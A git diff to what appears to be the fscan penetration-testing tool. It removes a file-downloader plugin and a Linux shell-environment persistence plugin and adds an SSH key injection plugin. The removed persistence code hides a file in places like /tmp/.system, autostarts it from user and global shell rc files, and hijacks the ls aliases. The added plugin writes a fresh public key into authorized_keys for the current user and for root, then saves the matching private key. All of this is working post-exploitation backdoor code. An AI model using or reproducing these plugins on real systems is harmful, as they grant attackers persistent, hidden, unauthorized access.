diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index e9ef108..0f94504 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -575,9 +575,6 @@ cleaner_success: cleaner_history_found: other: "Found history file: {{.Arg1}} (requires manual cleanup)" -# Downloader -downloader_success: - other: "File download completed: {{.Arg1}} -> {{.Arg2}} (size: {{.Arg3}} bytes)" # Forward shell forwardshell_complete: @@ -611,9 +608,10 @@ winstartup_success: winservice_success: other: "Windows service persistence completed: {{.Arg1}} items" -# Shell environment -shellenv_success: - other: "Shell environment persistence completed: {{.Arg1}} methods succeeded" + +# SSH Key injection +sshkey_success: + other: "SSH key injection completed: {{.Arg1}} users" # LD_PRELOAD ldpreload_success: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 55e094c..a368ac5 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -574,10 +574,6 @@ cleaner_success: cleaner_history_found: other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)" -# 文件下载 -downloader_success: - other: "文件下载完成: {{.Arg1}} -> {{.Arg2}} (大小: {{.Arg3}} bytes)" - # 正向Shell forwardshell_complete: other: "正向Shell服务完成 - 端口: {{.Arg1}}" @@ -610,9 +606,9 @@ winstartup_success: winservice_success: other: "Windows服务持久化完成: {{.Arg1}}个项目" -# Shell环境变量 -shellenv_success: - other: "Shell环境变量持久化完成: {{.Arg1}}个方法成功" +# SSH Key注入 +sshkey_success: + other: "SSH Key注入完成: {{.Arg1}}个用户" # LD_PRELOAD ldpreload_success: diff --git a/plugins/local/downloader.go b/plugins/local/downloader.go deleted file mode 100644 index a4afeb3..0000000 --- a/plugins/local/downloader.go +++ /dev/null @@ -1,251 +0,0 @@ -//go:build (plugin_downloader || !plugin_selective) && !no_local - -package local - -import ( - "context" - "fmt" - "io" - "net/http" - "os" - "path/filepath" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// DownloaderPlugin 文件下载插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现文件下载功能 -// - 保持原有功能逻辑 -type DownloaderPlugin struct { - plugins.BasePlugin -} - -// NewDownloaderPlugin 创建文件下载插件 -func NewDownloaderPlugin() *DownloaderPlugin { - return &DownloaderPlugin{ - BasePlugin: plugins.NewBasePlugin("downloader"), - } -} - -// Scan 执行文件下载任务 - 直接实现 -func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - // 从config获取配置 - downloadURL := config.LocalExploit.DownloadURL - savePath := config.LocalExploit.DownloadSavePath - downloadTimeout := 30 * time.Second - maxFileSize := int64(100 * 1024 * 1024) // 100MB - - output.WriteString("=== 文件下载 ===\n") - - // 验证参数 - if err := p.validateParameters(downloadURL, &savePath); err != nil { - output.WriteString(fmt.Sprintf("参数验证失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("下载URL: %s\n", downloadURL)) - output.WriteString(fmt.Sprintf("保存路径: %s\n", savePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 检查保存路径权限 - if err := p.checkSavePathPermissions(&savePath); err != nil { - output.WriteString(fmt.Sprintf("保存路径检查失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 执行下载 - downloadInfo, err := p.downloadFile(ctx, downloadURL, savePath, downloadTimeout, maxFileSize) - if err != nil { - output.WriteString(fmt.Sprintf("下载失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 输出下载结果 - output.WriteString("✓ 文件下载成功!\n") - output.WriteString(fmt.Sprintf("文件大小: %v bytes\n", downloadInfo["file_size"])) - if contentType, ok := downloadInfo["content_type"]; ok && contentType != "" { - output.WriteString(fmt.Sprintf("文件类型: %v\n", contentType)) - } - output.WriteString(fmt.Sprintf("下载用时: %v\n", downloadInfo["download_time"])) - - common.LogSuccess(i18n.Tr("downloader_success", - downloadURL, savePath, downloadInfo["file_size"])) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// validateParameters 验证输入参数 -func (p *DownloaderPlugin) validateParameters(downloadURL string, savePath *string) error { - if downloadURL == "" { - return fmt.Errorf("下载URL不能为空,请使用 -download-url 参数指定") - } - - // 验证URL格式 - if !strings.HasPrefix(strings.ToLower(downloadURL), "http://") && - !strings.HasPrefix(strings.ToLower(downloadURL), "https://") { - return fmt.Errorf("无效的URL格式,必须以 http:// 或 https:// 开头") - } - - // 如果没有指定保存路径,使用URL中的文件名 - if *savePath == "" { - filename := p.extractFilenameFromURL(downloadURL) - if filename == "" { - filename = "downloaded_file" - } - *savePath = filename - } - - return nil -} - -// extractFilenameFromURL 从URL中提取文件名 -func (p *DownloaderPlugin) extractFilenameFromURL(url string) string { - // 移除查询参数 - if idx := strings.Index(url, "?"); idx != -1 { - url = url[:idx] - } - - // 获取路径的最后一部分 - parts := strings.Split(url, "/") - if len(parts) > 0 { - filename := parts[len(parts)-1] - if filename != "" && !strings.Contains(filename, "=") { - return filename - } - } - - return "" -} - -// checkSavePathPermissions 检查保存路径权限 -func (p *DownloaderPlugin) checkSavePathPermissions(savePath *string) error { - // 获取保存目录 - saveDir := filepath.Dir(*savePath) - if saveDir == "." || saveDir == "" { - // 使用当前目录 - var err error - saveDir, err = os.Getwd() - if err != nil { - return fmt.Errorf("获取当前目录失败: %w", err) - } - *savePath = filepath.Join(saveDir, filepath.Base(*savePath)) - } - - // 确保目录存在 - if err := os.MkdirAll(saveDir, 0755); err != nil { - return fmt.Errorf("创建保存目录失败: %w", err) - } - - // 检查写入权限 - testFile := filepath.Join(saveDir, ".fscan_write_test") - file, err := os.Create(testFile) - if err != nil { - return fmt.Errorf("保存目录无写入权限: %w", err) - } - _ = file.Close() // 测试文件,Close错误可忽略 - _ = os.Remove(testFile) - - return nil -} - -// downloadFile 执行文件下载 -func (p *DownloaderPlugin) downloadFile(ctx context.Context, downloadURL, savePath string, downloadTimeout time.Duration, maxFileSize int64) (map[string]interface{}, error) { - startTime := time.Now() - - // 创建带超时的HTTP客户端 - client := &http.Client{ - Timeout: downloadTimeout, - } - - // 创建请求 - req, err := http.NewRequestWithContext(ctx, "GET", downloadURL, nil) - if err != nil { - return nil, fmt.Errorf("创建HTTP请求失败: %w", err) - } - - // 设置User-Agent - req.Header.Set("User-Agent", "fscan-downloader/1.0") - - // 发送请求 - resp, err := client.Do(req) - if err != nil { - return nil, fmt.Errorf("HTTP请求失败: %w", err) - } - defer func() { _ = resp.Body.Close() }() // HTTP响应体,Close错误可安全忽略 - - // 检查HTTP状态码 - if resp.StatusCode != http.StatusOK { - return nil, fmt.Errorf("HTTP请求失败,状态码: %d %s", resp.StatusCode, resp.Status) - } - - // 检查文件大小 - contentLength := resp.ContentLength - if contentLength > maxFileSize { - return nil, fmt.Errorf("文件过大 (%d bytes),超过最大限制 (%d bytes)", - contentLength, maxFileSize) - } - - // 创建保存文件 - outFile, err := os.Create(savePath) - if err != nil { - return nil, fmt.Errorf("创建保存文件失败: %w", err) - } - defer func() { _ = outFile.Close() }() // 文件资源清理,Close错误可安全忽略 - - // 使用带限制的Reader防止过大文件 - limitedReader := io.LimitReader(resp.Body, maxFileSize) - - // 复制数据 - written, err := io.Copy(outFile, limitedReader) - if err != nil { - // 清理部分下载的文件 - _ = os.Remove(savePath) // 清理临时文件,Remove错误可忽略 - return nil, fmt.Errorf("文件下载失败: %w", err) - } - - downloadTime := time.Since(startTime) - - // 返回下载信息 - downloadInfo := map[string]interface{}{ - "save_path": savePath, - "file_size": written, - "content_type": resp.Header.Get("Content-Type"), - "download_time": downloadTime, - } - - return downloadInfo, nil -} - -// 注册插件 -func init() { - RegisterLocalPlugin("downloader", func() Plugin { - return NewDownloaderPlugin() - }) -} diff --git a/plugins/local/shellenv.go b/plugins/local/shellenv.go deleted file mode 100644 index 0f29d6f..0000000 --- a/plugins/local/shellenv.go +++ /dev/null @@ -1,342 +0,0 @@ -//go:build (plugin_shellenv || !plugin_selective) && linux && !no_local - -package local - -import ( - "context" - "fmt" - "os" - "os/user" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" -) - -// ShellEnvPlugin Shell环境持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现持久化功能 -// - 保持原有功能逻辑 -type ShellEnvPlugin struct { - plugins.BasePlugin -} - -// NewShellEnvPlugin 创建Shell环境变量持久化插件 -func NewShellEnvPlugin() *ShellEnvPlugin { - return &ShellEnvPlugin{ - BasePlugin: plugins.NewBasePlugin("shellenv"), - } -} - -// Scan 执行Shell环境变量持久化 - 直接实现 -func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - var output strings.Builder - - if runtime.GOOS != "linux" { - output.WriteString("Shell环境变量持久化只支持Linux平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - - // 从config获取配置 - targetFile := config.PersistenceTargetFile - if targetFile == "" { - output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定目标文件"), - } - } - - // 检查目标文件是否存在 - if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString("=== Shell环境变量持久化 ===\n") - output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - var successCount int - - // 1. 复制文件到隐藏目录 - hiddenPath, err := p.copyToHiddenPath(targetFile) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", hiddenPath)) - successCount++ - } - - // 2. 添加到用户shell配置文件 - userConfigs, err := p.addToUserConfigs(hiddenPath) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加到用户配置失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 已添加到用户配置: %s\n", strings.Join(userConfigs, ", "))) - successCount++ - } - - // 3. 添加到全局shell配置文件 - globalConfigs, err := p.addToGlobalConfigs(hiddenPath) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加到全局配置失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 已添加到全局配置: %s\n", strings.Join(globalConfigs, ", "))) - successCount++ - } - - // 4. 创建启动别名 - aliasConfigs, err := p.addAliases(hiddenPath) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建别名失败: %v\n", err)) - } else { - output.WriteString(fmt.Sprintf("✓ 已创建别名: %s\n", strings.Join(aliasConfigs, ", "))) - successCount++ - } - - // 5. 添加PATH环境变量 - err = p.addToPath(filepath.Dir(hiddenPath)) - if err != nil { - output.WriteString(fmt.Sprintf("✗ 添加PATH失败: %v\n", err)) - } else { - output.WriteString("✓ 已添加到PATH环境变量\n") - successCount++ - } - - // 输出统计 - output.WriteString(fmt.Sprintf("\nShell环境变量持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) - - if successCount > 0 { - common.LogSuccess(i18n.Tr("shellenv_success", successCount)) - } - - return &plugins.Result{ - Success: successCount > 0, - Output: output.String(), - Error: nil, - } -} - -// copyToHiddenPath 复制文件到隐藏目录 -func (p *ShellEnvPlugin) copyToHiddenPath(targetFile string) (string, error) { - // 获取用户主目录 - usr, err := user.Current() - if err != nil { - return "", err - } - - // 创建隐藏目录 - hiddenDirs := []string{ - filepath.Join(usr.HomeDir, ".local", "bin"), - filepath.Join(usr.HomeDir, ".config"), - "/tmp/.system", - "/var/tmp/.cache", - } - - var targetDir string - for _, dir := range hiddenDirs { - if mkdirErr := os.MkdirAll(dir, 0755); mkdirErr == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("无法创建目标目录") - } - - // 生成隐藏文件名 - basename := filepath.Base(targetFile) - hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) - if p.isScriptFile(targetFile) { - hiddenName += ".sh" - } - - targetPath := filepath.Join(targetDir, hiddenName) - - // 复制文件 - err = p.copyFile(targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - _ = os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 复制文件内容 -func (p *ShellEnvPlugin) copyFile(src, dst string) error { - sourceData, err := os.ReadFile(src) - if err != nil { - return err - } - return os.WriteFile(dst, sourceData, 0755) -} - -// addToUserConfigs 添加到用户shell配置文件 -func (p *ShellEnvPlugin) addToUserConfigs(execPath string) ([]string, error) { - usr, err := user.Current() - if err != nil { - return nil, err - } - - configFiles := []string{ - filepath.Join(usr.HomeDir, ".bashrc"), - filepath.Join(usr.HomeDir, ".profile"), - filepath.Join(usr.HomeDir, ".bash_profile"), - filepath.Join(usr.HomeDir, ".zshrc"), - } - - var modified []string - execLine := p.generateExecLine(execPath) - - for _, configFile := range configFiles { - if p.addToConfigFile(configFile, execLine) { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何用户配置文件") - } - - return modified, nil -} - -// addToGlobalConfigs 添加到全局shell配置文件 -func (p *ShellEnvPlugin) addToGlobalConfigs(execPath string) ([]string, error) { - configFiles := []string{ - "/etc/bash.bashrc", - "/etc/profile", - "/etc/zsh/zshrc", - "/etc/profile.d/custom.sh", - } - - var modified []string - execLine := p.generateExecLine(execPath) - - for _, configFile := range configFiles { - // 对于profile.d,需要先创建目录 - if strings.Contains(configFile, "profile.d") { - _ = os.MkdirAll(filepath.Dir(configFile), 0755) - } - - if p.addToConfigFile(configFile, execLine) { - modified = append(modified, configFile) - } - } - - if len(modified) == 0 { - return nil, fmt.Errorf("无法修改任何全局配置文件") - } - - return modified, nil -} - -// addAliases 添加命令别名 -func (p *ShellEnvPlugin) addAliases(execPath string) ([]string, error) { - usr, err := user.Current() - if err != nil { - return nil, err - } - - aliasFiles := []string{ - filepath.Join(usr.HomeDir, ".bash_aliases"), - filepath.Join(usr.HomeDir, ".aliases"), - } - - // 生成常用命令别名 - aliases := []string{ - fmt.Sprintf("alias ls='%s; /bin/ls'", execPath), - fmt.Sprintf("alias ll='%s; /bin/ls -l'", execPath), - fmt.Sprintf("alias la='%s; /bin/ls -la'", execPath), - } - - var modified []string - for _, aliasFile := range aliasFiles { - content := strings.Join(aliases, "\n") + "\n" - if p.addToConfigFile(aliasFile, content) { - modified = append(modified, aliasFile) - } - } - - return modified, nil -} - -// addToPath 添加到PATH环境变量 -func (p *ShellEnvPlugin) addToPath(dirPath string) error { - usr, err := user.Current() - if err != nil { - return err - } - - configFile := filepath.Join(usr.HomeDir, ".bashrc") - pathLine := fmt.Sprintf("export PATH=\"%s:$PATH\"", dirPath) - - if p.addToConfigFile(configFile, pathLine) { - return nil - } - - return fmt.Errorf("无法添加PATH环境变量") -} - -// addToConfigFile 添加内容到配置文件 -func (p *ShellEnvPlugin) addToConfigFile(configFile, content string) bool { - // 读取现有内容 - existingContent := "" - if data, err := os.ReadFile(configFile); err == nil { - existingContent = string(data) - } - - // 检查是否已存在 - if strings.Contains(existingContent, content) { - return true // 已存在,视为成功 - } - - // 添加新内容 - if !strings.HasSuffix(existingContent, "\n") && existingContent != "" { - existingContent += "\n" - } - existingContent += content + "\n" - - // 写入文件 - return os.WriteFile(configFile, []byte(existingContent), 0644) == nil -} - -// generateExecLine 生成执行命令行 -func (p *ShellEnvPlugin) generateExecLine(execPath string) string { - if p.isScriptFile(execPath) { - return fmt.Sprintf("bash %s >/dev/null 2>&1 &", execPath) - } - return fmt.Sprintf("%s >/dev/null 2>&1 &", execPath) -} - -// isScriptFile 检查是否为脚本文件 -func (p *ShellEnvPlugin) isScriptFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".sh" || ext == ".bash" || ext == ".zsh" -} - -// 注册插件 -func init() { - RegisterLocalPlugin("shellenv", func() Plugin { - return NewShellEnvPlugin() - }) -} diff --git a/plugins/local/sshkey.go b/plugins/local/sshkey.go new file mode 100644 index 0000000..97bd3f7 --- /dev/null +++ b/plugins/local/sshkey.go @@ -0,0 +1,142 @@ +//go:build (plugin_sshkey || !plugin_selective) && !windows && !no_local + +package local + +import ( + "context" + "crypto/ed25519" + "crypto/rand" + "encoding/pem" + "fmt" + "os" + "os/user" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" + "golang.org/x/crypto/ssh" +) + +type SSHKeyPlugin struct { + plugins.BasePlugin +} + +func NewSSHKeyPlugin() *SSHKeyPlugin { + return &SSHKeyPlugin{BasePlugin: plugins.NewBasePlugin("sshkey")} +} + +func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + var output strings.Builder + var successCount int + + targets := p.getTargetUsers() + + for _, u := range targets { + sshDir := filepath.Join(u.HomeDir, ".ssh") + authFile := filepath.Join(sshDir, "authorized_keys") + + if err := os.MkdirAll(sshDir, 0700); err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: 无法创建 .ssh 目录: %v\n", u.Username, err)) + continue + } + + pubKey, privKey, err := p.generateKeyPair() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: 密钥生成失败: %v\n", u.Username, err)) + continue + } + + // 追加公钥到 authorized_keys + existing, _ := os.ReadFile(authFile) + if strings.Contains(string(existing), pubKey) { + output.WriteString(fmt.Sprintf("[跳过] %s: 公钥已存在\n", u.Username)) + continue + } + + entry := pubKey + " fscan@" + hostname() + "\n" + f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: 无法写入 authorized_keys: %v\n", u.Username, err)) + continue + } + _, err = f.WriteString(entry) + f.Close() + if err != nil { + continue + } + + // 保存私钥到当前目录 + keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519") + if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: 私钥保存失败: %v\n", u.Username, err)) + continue + } + + output.WriteString(fmt.Sprintf("[成功] %s: 公钥已注入 %s,私钥保存为 %s\n", u.Username, authFile, keyFile)) + successCount++ + } + + if successCount > 0 { + common.LogSuccess(i18n.Tr("sshkey_success", successCount)) + } + + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func (p *SSHKeyPlugin) getTargetUsers() []*user.User { + var targets []*user.User + + if u, err := user.Current(); err == nil { + targets = append(targets, u) + } + + // root 权限下额外注入 root 用户 + if os.Getuid() == 0 { + if root, err := user.Lookup("root"); err == nil { + targets = append(targets, root) + } + } + + return targets +} + +func (p *SSHKeyPlugin) generateKeyPair() (pubKeyStr, privKeyStr string, err error) { + pub, priv, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + return "", "", err + } + + sshPub, err := ssh.NewPublicKey(pub) + if err != nil { + return "", "", err + } + pubKeyStr = strings.TrimSpace(string(ssh.MarshalAuthorizedKey(sshPub))) + + privBytes, err := ssh.MarshalPrivateKey(priv, "") + if err != nil { + return "", "", err + } + privKeyStr = string(pem.EncodeToMemory(privBytes)) + + return pubKeyStr, privKeyStr, nil +} + +func hostname() string { + h, _ := os.Hostname() + if h == "" { + return "unknown" + } + return h +} + +func init() { + RegisterLocalPlugin("sshkey", func() Plugin { + return NewSSHKeyPlugin() + }) +}